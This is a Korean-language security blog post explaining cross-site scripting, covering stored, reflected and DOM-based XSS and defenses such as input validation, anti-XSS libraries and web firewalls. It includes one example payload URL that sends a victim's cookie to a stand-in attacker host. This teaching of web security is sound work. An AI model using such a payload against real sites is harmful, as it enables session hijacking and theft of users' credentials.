일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | 4 | |||
5 | 6 | 7 | 8 | 9 | 10 | 11 |
12 | 13 | 14 | 15 | 16 | 17 | 18 |
19 | 20 | 21 | 22 | 23 | 24 | 25 |
26 | 27 | 28 | 29 | 30 | 31 |
- misc
- xcz.kr
- wargame
- SuNiNaTas
- 인코그니토
- 써니나타스
- 그리디 알고리즘
- Python
- HackCTF
- Digital Forensics
- Web
- 사칙연산
- Text
- writeup
- C
- 구현
- 백준
- Database
- CTF
- MySQL
- 수학
- N0Named
- 정렬
- Web Hacking
- cryptography
- Network
- 문자열
- Forensics
- php
- Incognito
- Today
- Total
보안을 그리다, 훈이
[Web Hacking] XSS(Cross-Site Scripting) 취약점 본문
XSS(Cross-Site Scripting) 개념
XSS는 Cross-Site Scripting의 약어로, 공격자가 공격하려는 웹사이트에 스크립트를 삽입하여 사용자의 웹 브라우저에서 해당 코드가 실행되도록 하는 공격 기법이다. 따라서 사용자가 의도하지 않은 행동을 수행시키거나, 쿠키나 세션 토큰 등의 민감한 정보를 탈취하여 세션 하이재킹(Session Hijacking) 공격으로 악용될 수 있다.
대부분 사용자가 게시글을 작성하고 읽을 수 있는 게시판에서 많이 발생하며, 웹 페이지 상에서 사용자의 입력 값을 출력하는 곳에서도 발생한다.
기존에는 OWASP Top 10에 단독적으로 랭크되어 있던 XSS 공격 기법이지만,
이번 2021 OWASP Top 10 업데이트를 통해 Injection 공격 기법 범주에 산입되었다.
XSS 공격 종류 및 기법
Cross-Site Scripting은 공격 방법에 따라 Stored XSS(또는 Persistent XSS)와 Reflected XSS로 분류된다. 추가로 DOM(Document Object Model) based XSS도 다뤄보았다.
[Stored XSS]
Persistent XSS라고도 불리며, 사이트 게시판이나 댓글, 닉네임 등 스크립트가 서버에 저장되어 지속적으로 실행되는 방식이다. 'Cross-Site Scripting' 이름에서 알 수 있듯이 대부분 자바스크립트를 사용하여 공격이 이뤄지며, SQL Injection과 같이 공격 기법이 비교적 단순하고 기초적이지만 많은 웹사이트가 XSS에 대한 방어 조치가 미비하기에 발생한다.
먼저 공격자가 웹 애플리케이션 상에서 XSS 취약점이 있는 곳을 파악하고,
<script>악성 스크립트</script>
위와 같은 형식의 악성 스크립트를 삽입한다.
삽입된 악성 스크립트는 데이터베이스에 저장되고, 악성 스크립트가 저장된 게시글 등을 열람한 사용자들은 악성 스크립트가 작동함에 따라 쿠키나 세션 등의 민감 정보를 탈취당하거나 다른 웹사이트로 리다이렉션될 수도 있다.
gg
[Reflected XSS]
Stored XSS와 달리, 사용자에게 입력받은 값을 서버에서 되돌려 주는 곳에서 발행하는 반사형 공격 기법이다. 보통 GET 방식을 사용하는 URL 파라미터에 악성 스크립트를 삽입하여 서버에 저장하지 않고 즉각적으로 스크립트를 만드는 방식이다.
일반적으로 공격자가 악성 스크립트와 함께 URL을 사용자에게 누르도록 유도하고, URL을 누른 사용자는 악성 스크립트가 실행됨에 따라 공격을 당하게 된다.
예시로, GET 방식으로 검색 기능을 구현한 웹 애플리케이션에 XSS 취약점이 존재하는 것을 확인한 공격자는 다음과 같이 검색 인자로 작성한 스크립트를 URL과 함께 사용자에게 전송한다.
http://testweb?search=<script>location.href("http://hacker/cookie.php?value="+document.cookie);</script>
위 URL을 누르면 악성 스크립트가 작동함에 따라 공격자의 웹 페이지로 사용자의 쿠키 값이 전송된다.
[DOM(Document Object Model) based XSS]
Document Object Model 기반 XSS를 줄여 DOM based XSS라고 한다.
악성 스크립트가 포함된 URL을 사용자가 요청하게 되어 브라우저를 해석하는 단계에서 발생하는 공격 기법이다. 악성 스크립트로 인해 클라이언트 측 코드가 원래 의도와는 다르게 실행된다. DOM based XSS는 기타 XSS 공격과는 달리, 서버 측에서 탐지가 어렵다.
위 그림을 살펴보면 공격자(Hacker)는 웹사이트의 URL과 함께 사용한 특수문자 # 이후의 값은 서버로 전송되지 않는 기능을 가지고 있다.
사용자의 요청에 따라 HTML을 달리 해석하는 부분에 DOM based XSS 공격이 가능하다.
XSS 대응방안
[입출력 값 검증]
사용자가 입력한 값에 대한 검증과 사용자가 입력한 값을 그대로 출력할 때 검증이 필요하다. XSS Cheat Sheet에 대한 필터 목록을 만들어 모든 Cheat Sheet에 대한 대응이 가능하도록 해야 한다. XSS에 대한 필터링을 적용한 뒤 직접 테스트하여 스크립트가 실행되는지 모의해킹해보는 것도 좋은 방법이다.
PHP는 입력을 처리할 때, 정규식을 이용하는 preg_replace를 사용하거나, 노드를 이용하는 DOMDocument를 사용할 수 있다. 속도는 preg_replace가 더 빠르지만, 정규식의 경우 예외와 오류가 종종 발생하기 때문에 더 안전한 DOMDocument를 사용하는 것이 권장된다.
[XSS 방어 라이브러리, 브라우저 확장 앱 사용]
XSS를 막아주는 Anti XSS 라이브러리를 여러 회사에서 제공하는데 이 라이브러리를 사용하면 손쉽게 XSS를 방어할 수 있다. XSS 라이브러리를 사용하는 것은 서버 단에서 개발자가 추가하는 것이고, 사용자들이 각자 본인의 브라우저에서 악의적인 스크립트가 실행되지 않도록 방어하는 것 또한 중요하다. 모든 웹사이트가 안전하다는 보장이 없기 때문에 브라우저 확장 앱 중 Anti XSS 기능을 제공하는 애플리케이션을 설치하고 방어하는 것도 좋은 방법이다.
[웹 방화벽 사용]
웹 공격에 특화되어 있는 웹 방화벽은 XSS 공격 뿐만 아니라 각종 Injection 공격을 효과적으로 방어할 수 있다.
[참고]
'Security > Web Hacking' 카테고리의 다른 글
[Web Hacking] XSS(Cross-Site Scripting) 실습 (0) | 2021.10.27 |
---|---|
[Web Hacking] XSS Cheat Sheet (0) | 2021.10.27 |
[Web Hacking] 2021 OWASP Top 10 목록 (0) | 2021.10.19 |
[Web Hacking] SQL Injection 실습 (1) | 2021.05.12 |
[Web Hacking] SQL Injection 취약점 (1) | 2021.05.10 |